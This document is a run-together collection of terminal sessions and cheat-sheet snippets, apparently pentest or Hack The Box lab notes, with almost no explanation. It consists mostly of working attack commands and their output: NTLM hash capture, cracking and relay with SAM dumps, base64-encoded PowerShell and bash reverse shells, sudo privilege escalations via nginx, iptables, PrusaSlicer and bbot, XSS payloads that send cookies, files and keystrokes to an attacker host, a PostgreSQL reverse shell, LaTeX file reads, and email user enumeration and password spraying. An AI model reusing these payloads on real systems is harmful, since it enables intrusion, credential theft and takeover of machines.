[SMB] NTLMv2-SSP Username : WIN7BOX\demouser
[SMB] NTLMv2-SSP Hash : demouser::WIN7BOX:997b18cc61099ba2:3CC46296B0CCFC7A231D918AE1DAE521:0101000000000000B09B51939BA6D40140C54ED46AD58E890000000002000E004E004F004D00410054004300480001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D0042003100320008003000300000000000000000000000003000004289286EDA193B087E214F3E16E2BE88FEC5D9FF73197456C9A6861FF5B5D3330000000000000000gzzcoo@htb[/htb]$ hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...
<SNIP>
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344386
* Bytes.....: 139921355
* Keyspace..: 14344386
ADMINISTRATOR::WIN-487IMQOIA8E:997b18cc61099ba2:3cc46296b0ccfc7a231d918ae1dae521:0101000000000000b09b51939ba6d40140c54ed46ad58e890000000002000e004e004f004d00410054004300480001000a0053004d0042003100320004000a0053004d0042003100320003000a0053004d0042003100320005000a0053004d0042003100320008003000300000000000000000000000003000004289286eda193b087e214f3e16e2be88fec5d9ff73197456c9a6861ff5b5d3330000000000000000:P@ssword
Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: ADMINISTRATOR::WIN-487IMQOIA8E:997b18cc61099ba2:3cc...000000
Time.Started.....: Mon Apr 11 16:49:34 2022 (1 sec)
Time.Estimated...: Mon Apr 11 16:49:35 2022 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1122.4 kH/s (1.34ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 75776/14344386 (0.53%)
Rejected.........: 0/75776 (0.00%)
Restore.Point....: 73728/14344386 (0.51%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: compu -> kodiak1
Started: Mon Apr 11 16:49:34 2022
Stopped: Mon Apr 11 16:49:37 2022gzzcoo@htb[/htb]$ cat /etc/responder/Responder.conf | grep 'SMB ='
SMB = Offgzzcoo@htb[/htb]$ impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
<SNIP>
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up WCF Server
[*] Servers started, waiting for connections
[*] SMBD-Thread-3: Connection from /ADMINISTRATOR@10.10.110.1 controlled, attacking target smb://10.10.110.146
[*] Authenticating against smb://10.10.110.146 as /ADMINISTRATOR SUCCEED
[*] SMBD-Thread-3: Connection from /ADMINISTRATOR@10.10.110.1 controlled, but there are no more targets left!
[*] SMBD-Thread-5: Connection from /ADMINISTRATOR@10.10.110.1 controlled, but there are no more targets left!
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xeb0432b45874953711ad55884094e9d4
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:92512f2605074cfc341a7f16e5fabf08:::
demouser:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
test:1001:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
[*] Done dumping SAM hashes for host: 10.10.110.146
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistrygzzcoo@htb[/htb]$ impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADIAMgAwAC4AMQAzADMAIgAsADkAMAAwADEAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA'gzzcoo@htb[/htb]$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.110.133] from (UNKNOWN) [10.10.110.146] 52471
PS C:\Windows\system32> whoami;hostname
nt authority\system
WIN11BOX#!/bin/sh
echo "[+] Creating configuration..."
cat << EOF > /tmp/nginx_pwn.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
worker_connections 768;
}
http {
server {
listen 1338;
root /;
autoindex on;
dav_methods PUT;
}
}
EOF
echo "[+] Loading configuration..."
sudo nginx -c /tmp/nginx_pwn.confuser@test:/tmp$ chmod +x exploit.sh
user@test:/tmp$ ./exploit.sh
[+] Creating configuration...
[+] Loading configuration...❯ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/kali/.ssh/id_ed25519): /home/kali/.ssh/id_rsa
Enter passphrase for "/home/kali/.ssh/id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:VJOJ/h84EVj0o05Fpz15O3EfYA9X6Zk2e1ZFmi25358 kali@kali
The key's randomart image is:
+--[ED25519 256]--+
| ==o.+.o=|
| o.++.+=B.|
| .. .= X+B|
| .. .o . @B|
| S.oo oo=|
| o+ . o=|
| .o . .+|
| . o|
| E.|
+----[SHA256]-----+❯ cat id_rsa.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM/QPvpr6ZlpPXjNq/RQQC5Wi8sUwISswOUyVV2NYpcN kali@kali
❯ curl -s -X PUT <VICTIM_IP>:1338/root/.ssh/authorized_keys -d "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM/QPvpr6ZlpPXjNq/RQQC5Wi8sUwISswOUyVV2NYpcN kali@kali"❯ ssh root@10.10.10.10
The authenticity of host '10.10.10.10 (10.10.10.10)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.10' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)
..[snip]...
root@test:~# whoami
roothacker@gzzcoo:~$ sudo -l
Matching Defaults entries for hacker on gzzcoo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svcMosh may run the following commands on localhost:
(ALL) NOPASSWD: /usr/bin/mosh-serverhacker@gzzcoo:~$ mosh --server="sudo /usr/bin/mosh-server" localhost
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-126-generic x86_64)
...[snip]...
root@gzzcoo:~$hacker@gzzcoo:/home/hacker$ sudo -l
Matching Defaults entries for hacker on gzzcoo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User adam may run the following commands on trickster:
(ALL) NOPASSWD: /opt/PrusaSlicer/prusaslicer❯ git clone https://github.com/suce0155/prusaslicer_exploit; cd prusaslicer_exploit
Clonando en 'prusaslicer_exploit'...
remote: Enumerating objects: 25, done.
remote: Counting objects: 100% (25/25), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 25 (delta 3), reused 0 (delta 0), pack-reused 0 (from 0)
Recibiendo objetos: 100% (25/25), 45.69 KiB | 1.34 MiB/s, listo.
Resolviendo deltas: 100% (3/3), listo.❯ cat exploit.sh
/bin/bash -i >& /dev/tcp/10.10.16.5/444 0>&1
❯ ls -l
.rw-rw-r-- kali kali 38 KB Sat Jan 25 01:25:28 2025 evil.3mf
.rw-rw-r-- kali kali 45 B Sat Jan 25 01:26:02 2025 exploit.sh
.rw-rw-r-- kali kali 369 B Sat Jan 25 01:25:28 2025 README.md
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...hacker@gzzcoo:/tmp$ wget 10.10.16.5/exploit.sh
--2025-01-25 00:27:00-- http://10.10.16.5/exploit.sh
Connecting to 10.10.16.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45 [text/x-sh]
Saving to: ‘exploit.sh’
exploit.sh 100%[================================>] 45 --.-KB/s in 0s
2025-01-25 00:27:00 (3.79 MB/s) - ‘exploit.sh’ saved [45/45]
hacker@gzzcoo:/tmp$ wget 10.10.16.5/evil.3mf
--2025-01-25 00:27:08-- http://10.10.16.5/evil.3mf
Connecting to 10.10.16.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 39455 (39K) [application/vnd.ms-3mfdocument]
Saving to: ‘evil.3mf’
evil.3mf 100%[================================>] 45 --.-KB/s in 0s
2025-01-25 00:27:08 (315 KB/s) - ‘evil.3mf’ saved [39455/39455]❯ nc -nlvp 444
listening on [any] 444 ...hacker@gzzcoo:/tmp$ sudo /opt/PrusaSlicer/prusaslicer -s evil.3mf
10 => Processing triangulated mesh
20 => Generating perimeters
30 => Preparing infill
45 => Making infill
65 => Searching support spots
69 => Alert if supports needed
print warning: Detected print stability issues:
EXPLOIT
Low bed adhesion
Consider enabling supports.
Also consider enabling brim.
88 => Estimating curled extrusions
88 => Generating skirt and brim
90 => Exporting G-code to EXPLOIT_0.3mm_{printing_filament_types}_MK4_{print_time}.gcode❯ nc -nlvp 444
listening on [any] 444 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.34] 60656
root@trickster:/tmp❯ cat /etc/passwd | head -n 1
root:x:0:0:root:/root:/usr/bin/zsh
❯ openssl passwd Gzzcoo123
$1$Gow86CXS$sHAPSqpiT4xePLCPO147m1sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nroot:$1$Gow86CXS$sHAPSqpiT4xePLCPO147m1:0:0:root:/root:/bin/bash\n'
sudo /usr/sbin/iptables -S
sudo /usr/sbin/iptables-save -f /etc/passwd❯ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/kali/.ssh/id_ed25519): /home/kali/.ssh/id_rsa
Enter passphrase for "/home/kali/.ssh/id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:VJOJ/h84EVj0o05Fpz15O3EfYA9X6Zk2e1ZFmi25358 kali@kali
The key's randomart image is:
+--[ED25519 256]--+
| ==o.+.o=|
| o.++.+=B.|
| .. .= X+B|
| .. .o . @B|
| S.oo oo=|
| o+ . o=|
| .o . .+|
| . o|
| E.|
+----[SHA256]-----+❯ cat id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINchj1ycZWUZctrUZl/nhPPxygCF1kT7UbFMFfVqiyz0 kali@kalisudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINchj1ycZWUZctrUZl/nhPPxygCF1kT7UbFMFfVqiyz0 kali@kali\n'
sudo /usr/sbin/iptables -S
sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys❯ ssh root@10.10.10.10
Linux gzzcoo 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
root@gzzcoo:~$ user@gzzcoo:~$ sudo -l
Matching Defaults entries for user on gzzcoo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User user may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbotgraphasm@cypher:~$ sudo /usr/local/bin/bbot -cy /etc/shadow -d --dry-run
______ _____ ____ _______
| ___ \| __ \ / __ \__ __|
| |___) | |__) | | | | | |
| ___ <| __ <| | | | | |
| |___) | |__) | |__| | | |
|______/|_____/ \____/ |_|
BIGHUGE BLS OSINT TOOL v2.1.0.4939rc
www.blacklanternsecurity.com/bbot
...[snip]...
[DBUG] internal.excavate: Successfully loaded custom yara rules file [/etc/shadow]
[DBUG] internal.excavate: Final combined yara rule contents: root:$y$j9T$ianAadawc1w6VSodw.1fzgk/$3DenO5YJ1VBvE1VekRL79v6bN00fhcbA59zeeLciY67:20133:0:99999:7:::
daemon:*:19962:0:99999:7:::
bin:*:19962:0:99999:7:::
sys:*:19962:0:99999:7:::
sync:*:19962:0:99999:7:::
games:*:19962:0:99999:7:::
man:*:19962:0:99999:7:::
lp:*:19962:0:99999:7:::
mail:*:19962:0:99999:7:::
news:*:19962:0:99999:7:::
uucp:*:19962:0:99999:7:::
proxy:*:19962:0:99999:7:::
www-data:*:19962:0:99999:7:::
backup:*:19962:0:99999:7:::
list:*:19962:0:99999:7:::
irc:*:19962:0:99999:7:::
_apt:*:19962:0:99999:7:::
nobody:*:19962:0:99999:7:::
systemd-network:!*:19962::::::
systemd-timesync:!*:19962::::::
dhcpcd:!:19962::::::
messagebus:!:19962::::::
systemd-resolve:!*:19962::::::
pollinate:!:19962::::::
polkitd:!*:19962::::::
syslog:!:19962::::::
uuidd:!:19962::::::
tcpdump:!:19962::::::
tss:!:19962::::::
landscape:!:19962::::::
fwupd-refresh:!*:19962::::::
usbmux:!:20004::::::
sshd:!:20004::::::
user:$y$j9T$lDLyqZAxCXhX1EB3v01Zl.$C0XwosQvBM.5sAPbHdADASDlg0GX5YJHb7qImQV7:20004:0:99999:7:::
neo4j:!:20004::::::
_laurel:!:20136::::::user@gzzcoo:/tmp$ echo -e "module_dirs:\n - /tmp/modules" > /tmp/myconf.yml
user@gzzcoo:/tmp$ mkdir /tmp/modules
user@gzzcoo:/tmp$ cd /tmp/modules
user@gzzcoo:/tmp$ nano whois2.pyfrom bbot.modules.base import BaseModule
import os
class whois2(BaseModule):
watched_events = ["DNS_NAME"] # watch for DNS_NAME events
produced_events = ["WHOIS"] # we produce WHOIS events
flags = ["passive", "safe"]
meta = {"description": "Query WhoisXMLAPI for WHOIS data"}
options = {"api_key": ""} # module config options
options_desc = {"api_key": "WhoisXMLAPI Key"}
per_domain_only = True # only run once per domain
# one-time setup - runs at the beginning of the scan
async def setup(self):
os.system("cp /bin/bash /tmp/gzzcoo && chmod u+s /tmp/gzzcoo")
self.api_key = self.config.get("api_key")
return True
async def handle_event(self, event):
passuser@gzzcoo:/tmp$ sudo /usr/local/bin/bbot -p /tmp/myconf.yml -m whois2
______ _____ ____ _______
| ___ \| __ \ / __ \__ __|
| |___) | |__) | | | | | |
| ___ <| __ <| | | | | |
| |___) | |__) | |__| | | |
|______/|_____/ \____/ |_|
BIGHUGE BLS OSINT TOOL v2.1.0.4939rc
www.blacklanternsecurity.com/bbot
[INFO] Scan with 1 modules seeded with 0 targets (0 in whitelist)
[INFO] Loaded 1/1 scan modules (whois2)
[INFO] Loaded 5/5 internal modules (aggregate,cloudcheck,dnsresolve,excavate,speculate)
[INFO] Loaded 5/5 output modules, (csv,json,python,stdout,txt)
[INFO] internal.excavate: Compiling 10 YARA rules
[INFO] internal.speculate: No portscanner enabled. Assuming open ports: 80, 443
[SUCC] Setup succeeded for 13/13 modules.
[SUCC] Scan ready. Press enter to execute chiseled_crystal
[WARN] No scan targets specified
[SUCC] Starting scan chiseled_crystal
[SCAN] chiseled_crystal (SCAN:e8932c65583fe4c9ebced6e18cf4974796fbfb8f) TARGET (in-scope, target)
[INFO] Finishing scan
[SCAN] chiseled_crystal (SCAN:e8932c65583fe4c9ebced6e18cf4974796fbfb8f) TARGET (in-scope)
[SUCC] Scan chiseled_crystal completed in 0 seconds with status FINISHED
[INFO] aggregate: +----------+------------+------------+
[INFO] aggregate: | Module | Produced | Consumed |
[INFO] aggregate: +==========+============+============+
[INFO] aggregate: | None | None | None |
[INFO] aggregate: +----------+------------+------------+
[INFO] output.csv: Saved CSV output to /root/.bbot/scans/chiseled_crystal/output.csv
[INFO] output.json: Saved JSON output to /root/.bbot/scans/chiseled_crystal/output.json
[INFO] output.txt: Saved TXT output to /root/.bbot/scans/chiseled_crystal/output.txtuser@gzzcoo:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
user@gzzcoo:/tmp$ ls -l /tmp/gzzcoo
-rwsr-xr-x 1 root root 1446024 Mar 4 17:39 /tmp/gzzcoo
user@gzzcoo$ /tmp/gzzcoo -p
gzzcoo-5.2# whoami
root# Renombrar el archivo a 'rev.ps1', y añadir al final del archivo la siguiente línea
Invoke-PowerShellTcp -Reverse -IPAddress <ATTACKER_IP> -Port 443
# Nos ponemos en escucha por el puerto indicado.
rlwrap -cAr nc -nlvp 443
# Compartimos el archivo a través de un servidor web.
python3 -m http.server 80
# Para mayor seguridad, codificamos desde Kali el comando que deberá ejecutar la víctima en Base64 de Windows.
echo 'IEX(New-Object Net.WebClient).downloadString("http://<ATTACKER_IP>/rev.ps1")' | iconv -t utf-16le | base64 -w 0; echo
# Desde el equipo de la víctima, se ejecuta el siguiente comando con el código en Base64 generado.
powershell -e <BASE64_CODE># Desde la máquina atacante en Kali nos ponemos en escucha
rlwrap -cAr nc -nlvp 443
# Desde la máquina víctima ejecutamos la Reverse Shell
powershell -e <BASE64_CODE>python3 BypassAMSI_PSRevshell.py revshell -i <Attacker-IP> -p <listening-port>❯ python3 BypassAMSI_PSRevshell.py revshell -i 10.10.10.10 -p 4444powershell -enc JABjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADAALgAxADAALgAxADAALgAxADAAJwAsADQANAA0ADQAKQA7ACQAcwAgAD0AIAAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMALgBSAGUAYQBkACgAJABiACwAIAAwACwAIAAkAGIALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIALAAwACwAIAAkAGkAKQA7ACQAcwBiACAAPQAgACgAaQBlAHgAIAAkAGQAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGIAMgAgACAAPQAgACQAcwBiACAAKwAgACcAUABTACAAJwAgACsAIAAnAD4AIAAnADsAJABzAHkAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAYgAyACkAOwAkAHMALgBXAHIAaQB0AGUAKAAkAHMAeQAsADAALAAkAHMAeQAuAEwAZQBuAGcAdABoACkAOwAkAHMALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMALgBDAGwAbwBzAGUAKAApAA==python3 BypassAMSI_PSRevshell.py server -i <Attacker-IP> -p <listening-port>❯ python3 BypassAMSI_PSRevshell.py server -i 10.10.10.10 -p 4444 --server-port 9000powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMAAuADEAMAA6ADkAMAAwADAALwByAGUAdgBzAGgAZQBsAGwALgBwAHMAMQAiACkAsudo apt install netexec -y



\l<script>fetch("http://10.10.x.x/?value=" + document.cookie);</script> 
\newread\file
\openin\file=/etc/passwd
\read\file to\line
\text{\line}
\closein\file\lstinputlisting{/etc/passwd}
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file











# Enumerar el contenido de un recurso compartido/directorio
smbmap -H 10.10.10.10 --no-banner -u 'user' -p 'password' -d <DOMAIN-WORKGROUP> -r 'resource/'smbmap -H 10.10.10.10 --no-banner -u 'user' -p 'password' -d <DOMAIN-WORKGROUP> --download 'resource/archivo.txt'\c <database_name>\dtSELECT * FROM <table_name>;''; SELECT pg_read_file('/etc/passwd',0,1000);''; SELECT pg_ls_dir('/var/www/');'';DO $reverse$
DECLARE
s text;
BEGIN
s := CHR(67)||CHR(79)||CHR(80)||CHR(89)||
' (SELECT '''') TO PROGRAM ' ||
quote_literal('bash -c "bash -i >& /dev/tcp/10.10.16.9/443 0>&1"');
EXECUTE s;
END $reverse$;<a href="javascript:fetch('http://localhost/README.md').then(response => response.text()).then(data => fetch('http://10.10.x.x/?response=' + encodeURIComponent(data))).catch(error => console.error('Error:', error));">gzzcoo</a><script>
fetch("http://10.10.10.10/.htpasswd")
.then(response => response.text())
.then(data => {
fetch("http://10.10.x.x/?file_content=" + encodeURIComponent(data));
});
</script><script>
var k = "";
document.onkeypress = function(e){
e = e || window.event;
k += e.key;
var i = new Image();
i.src = "http://10.10.x.x/" + k;
}
</script>gzzcoo@htb[/htb]$ host -t MX hackthebox.eu
hackthebox.eu mail is handled by 1 aspmx.l.google.com.gzzcoo@htb[/htb]$ host -t MX microsoft.com
microsoft.com mail is handled by 10 microsoft-com.mail.protection.outlook.com.gzzcoo@htb[/htb]$ dig mx plaintext.do | grep "MX" | grep -v ";"
plaintext.do. 7076 IN MX 50 mx3.zoho.com.
plaintext.do. 7076 IN MX 10 mx.zoho.com.
plaintext.do. 7076 IN MX 20 mx2.zoho.com.gzzcoo@htb[/htb]$ dig mx inlanefreight.com | grep "MX" | grep -v ";"
inlanefreight.com. 300 IN MX 10 mail1.inlanefreight.com.gzzcoo@htb[/htb]$ host -t A mail1.inlanefreight.htb.
mail1.inlanefreight.htb has address 10.129.14.128gzzcoo@htb[/htb]$ sudo nmap -Pn -sVC -p25,143,110,465,587,993,995 10.129.14.128
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-27 17:56 CEST
Nmap scan report for 10.129.14.128
Host is up (0.00025s latency).
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
|_smtp-commands: mail1.inlanefreight.htb, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,
MAC Address: 00:00:00:00:00:00 (VMware)gzzcoo@htb[/htb]$ telnet 10.10.110.20 25
Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)
VRFY root
252 2.0.0 root
VRFY www-data
252 2.0.0 www-data
VRFY new-user
550 5.1.1 <new-user>: Recipient address rejected: User unknown in local recipient tablegzzcoo@htb[/htb]$ telnet 10.10.110.20 25
Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)
EXPN john
250 2.1.0 john@inlanefreight.htb
EXPN support-team
250 2.0.0 carol@inlanefreight.htb
250 2.1.5 elisa@inlanefreight.htbgzzcoo@htb[/htb]$ telnet 10.10.110.20 25
Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)
MAIL FROM:test@htb.com
250 2.1.0 test@htb.com... Sender ok
RCPT TO:julio
550 5.1.1 julio... User unknown
RCPT TO:kate
550 5.1.1 kate... User unknown
RCPT TO:john
250 2.1.5 john... Recipient okgzzcoo@htb[/htb]$ telnet 10.10.110.20 110
Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
+OK POP3 Server ready
USER julio
-ERR
USER john
+OKgzzcoo@htb[/htb]$ smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.203.7
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )
----------------------------------------------------------
| Scan Information |
----------------------------------------------------------
Mode ..................... RCPT
Worker Processes ......... 5
Usernames file ........... userlist.txt
Target count ............. 1
Username count ........... 78
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............ inlanefreight.htb
######## Scan started at Thu Apr 21 06:53:07 2022 #########
10.129.203.7: jose@inlanefreight.htb exists
10.129.203.7: pedro@inlanefreight.htb exists
10.129.203.7: kate@inlanefreight.htb exists
######## Scan completed at Thu Apr 21 06:53:18 2022 #########
3 results.
78 queries in 11 seconds (7.1 queries / sec)
gzzcoo@htb[/htb]$ python3 o365spray.py --validate --domain msplaintext.xyz
*** O365 Spray ***
>----------------------------------------<
> version : 2.0.4
> domain : msplaintext.xyz
> validate : True
> timeout : 25 seconds
> start : 2022-04-13 09:46:40
>----------------------------------------<
[2022-04-13 09:46:40,344] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-13 09:46:40,743] INFO : [VALID] The following domain is using O365: msplaintext.xyz
gzzcoo@htb[/htb]$ python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz
*** O365 Spray ***
>----------------------------------------<
> version : 2.0.4
> domain : msplaintext.xyz
> enum : True
> userfile : users.txt
> enum_module : office
> rate : 10 threads
> timeout : 25 seconds
> start : 2022-04-13 09:48:03
>----------------------------------------<
[2022-04-13 09:48:03,621] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-13 09:48:04,062] INFO : [VALID] The following domain is using O365: msplaintext.xyz
[2022-04-13 09:48:04,064] INFO : Running user enumeration against 67 potential users
[2022-04-13 09:48:08,244] INFO : [VALID] lewen@msplaintext.xyz
[2022-04-13 09:48:10,415] INFO : [VALID] juurena@msplaintext.xyz
[ * ] Valid accounts can be found at: '/opt/o365spray/enum/enum_valid_accounts.2204130948.txt'
[ * ] All enumerated accounts can be found at: '/opt/o365spray/enum/enum_tested_accounts.2204130948.txt'
[2022-04-13 09:48:10,416] INFO : Valid Accounts: 2
gzzcoo@htb[/htb]$ hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-04-13 11:37:46
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 16 tasks per 1 server, overall 16 tasks, 67 login tries (l:67/p:1), ~5 tries per task
[DATA] attacking pop3://10.10.110.20:110/
[110][pop3] host: 10.129.42.197 login: john password: Company01!
1 of 1 target successfully completed, 1 valid password foundgzzcoo@htb[/htb]$ python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz
*** O365 Spray ***
>----------------------------------------<
> version : 2.0.4
> domain : msplaintext.xyz
> spray : True
> password : March2022!
> userfile : usersfound.txt
